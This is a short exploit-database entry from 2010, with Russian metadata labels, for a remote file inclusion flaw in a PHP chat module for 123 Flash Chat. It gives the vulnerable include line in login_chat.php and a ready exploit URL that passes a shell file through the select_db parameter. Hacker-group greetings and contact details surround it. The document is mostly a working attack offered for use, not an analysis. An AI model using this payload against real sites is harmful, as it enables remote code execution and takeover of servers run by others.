Exploit PHP Chat for 123 Flash Chat - Remote File Inclusion

[Exploiter]

EDB-ID

14425

Проверка EDB

1. Пройдено

Автор

HACKER ARAR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2010-07-20

*# Exploit Title:   php_chat Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: HaCkEr arar
# Email: [email protected]
# My Sites : www.vbspiders.com
# Script home:
http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
# ViRuS Qalaa: [email protected]
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
include('db/'.$select_db.'.php');
login_chat.php
Line:41

----exploit----

http://{localhost}/{path}login_chat.php?select_db=shell.txt?

---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0,Members www.j1q1.com

and My friends Others and My friends in MSN
EnJoY o_O*